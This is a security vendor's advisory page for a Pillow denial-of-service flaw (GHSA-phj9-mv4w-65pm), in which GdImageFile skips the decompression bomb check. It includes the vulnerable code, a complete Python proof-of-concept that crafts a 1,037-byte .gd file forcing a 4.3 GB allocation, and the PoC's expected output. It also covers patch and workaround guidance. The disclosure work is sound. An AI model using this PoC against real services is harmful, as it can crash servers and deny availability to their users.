GHSA-phj9-mv4w-65pm is a high-severity (CVSS 7.5) CWE-789 vulnerability in pillow. O3 Security confirms whether GHSA-phj9-mv4w-65pm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-phj9-mv4w-65pm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-phj9-mv4w-65pm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 364,277 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pillowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Description
PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.
Vulnerable code (PIL/GdImageFile.py lines 50–61):
def _open(self) -> None:
s = self.fp.read(1037)
if i16(s) not in [65534, 65535]:
raise SyntaxError("Not a valid GD 2.x .gd file")
self._mode = "P"
self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each
# NO _decompression_bomb_check() call here ←
...
self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]
When load() is subsequently called on the returned image object:
load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this
Dimension arithmetic:
| Field | Value |
|---|---|
| Maximum width from header | 65,535 (unsigned 16-bit) |
| Maximum height from header | 65,535 (unsigned 16-bit) |
| Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 |
DecompressionBombError threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |
| Overshoot ratio | 24× above DecompressionBombError threshold |
| Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) |
| Minimum attack file size | 1,037 bytes (header only — no pixel data needed) |
Comparison with safe sibling plugin (WalImageFile):
WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:
# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size) # ← present
GdImageFile was never updated to match, leaving a gap in protection.
Steps to reproduce
Proof of Concept script:
#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image
# Build minimal 1037-byte GD 2.x palette-mode header:
# sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic
w = struct.pack(">H", 65535) # max width
h = struct.pack(">H", 65535) # max height
true_color = b"\x00" # 0 = palette mode
tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency
colors_used = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037
# Confirm: standard Image.open() path BLOCKS this size
try:
Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
print(f"[BLOCKED] Image.open() path: {e}")
# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked")
# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
img.load()
except OSError:
print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")
print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH] Attack file: 1,037 bytes only")
Expected output:
[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted
[MATH] 4,294,836,225 pixels = 24.0× error threshold
[MATH] Attack file: 1,037 bytes only
Verified live on Pillow 12.2.0.
Two attack paths:
| Path | File size | Effect |
|---|---|---|
| Transient (header only) | 1,037 bytes | load_prepare() attempts 4.3 GB C allocation → OSError after spike |
| Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime |
For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.
Real-world scenario:
from PIL import GdImageFile
# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check
img.load() # triggers 4.3 GB C-heap allocation
Impact
- Availability: HIGH — a single 1,037-byte malicious
.gdfile causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - Confidentiality: None
- Integrity: None
- Authentication required: No — any public endpoint accepting image uploads is affected
- User interaction: None
Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pillow | all versions | 12.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pillow to 12.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-phj9-mv4w-65pm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-phj9-mv4w-65pm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-phj9-mv4w-65pm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A denial-of-service vulnerability was found in Pillow's GdImageFile plugin. The GdImageFile._open() function reads image dimensions from GD 2.x file headers and stores them without performing a decompression bomb check. A crafted .gd file of approximately 1 KB can trigger an unchecked 4.3 GB C-heap allocation,…
Frequently Asked Questions
Is GHSA-phj9-mv4w-65pm in your dependencies?
O3 detects GHSA-phj9-mv4w-65pm across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.